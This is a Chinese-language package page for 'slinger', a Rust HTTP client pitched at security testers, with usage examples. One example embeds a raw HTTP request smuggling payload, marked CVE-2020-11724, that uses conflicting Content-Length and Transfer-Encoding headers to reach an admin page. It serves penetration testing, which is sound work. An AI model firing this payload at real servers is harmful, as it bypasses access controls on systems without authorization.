10 个版本

新增 0.1.9 2024 年 8 月 15 日
0.1.8 2024 年 7 月 24 日
0.1.2 2024 年 5 月 30 日

1026网络编程

Download history 106/week @ 2024-05-20 346/week @ 2024-05-27 14/week @ 2024-06-03 3/week @ 2024-06-10 151/week @ 2024-07-01 94/week @ 2024-07-08 183/week @ 2024-07-15 611/week @ 2024-07-22 40/week @ 2024-07-29 55/week @ 2024-08-05

908 每月下载量

GPL-3.0-only

140KB
3K SLoC

Contributors Forks Stargazers Issues MIT License crates io


Logo

投石器

为黑客设计的 Rust HTTP 客户端。
查看文档

查看演示 · 报告错误 · 请求功能

关于项目

Product Name Screen Shot

  • 可自定义的重定向策略
  • http/https 和 socks5/socks5h 代理
  • cookie 存储
  • 原始套接字请求
  • 通过 tls 的 HTTPS

(返回顶部)

入门

此示例启用了一些可选功能,因此您的 Cargo.toml 可能看起来像这样

[dependencies]
slinger = { version = "0.1.2", features = ["serde", "cookie", "charset", "tls", "gzip"] }

然后是代码

fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get")?;
  println!("{:?}", resp.text());
  Ok(())
}

示例

use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";

fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::new().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send()?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

更多示例,请参阅 示例

(返回顶部)

贡献

贡献使得开源社区成为一个如此神奇的地方来学习、灵感和创造。您所做出的任何贡献都 非常欢迎

如果您有改进此项目的建议,请 fork 仓库并创建一个 pull request。您也可以简单地通过带有 "enhancement" 标签的问题来提交。别忘了给项目加星!再次感谢!

  1. fork 项目
  2. 创建您的功能分支 (git checkout -b feature/AmazingFeature)
  3. 提交您的更改 (git commit -m 'Add some AmazingFeature')
  4. 推送到分支 (git push origin feature/AmazingFeature)
  5. 打开 pull request

(返回顶部)

许可证

GPL-3.0-only 许可下分发。有关更多信息,请参阅 LICENSE

(返回顶部)

联系

您的名字 - @Kali_Team - [email protected]

项目链接: https://github.com/emo-crab/slinger

(返回顶部)

致谢

(返回顶部)

依赖项

~1–12MB
~171K SLoC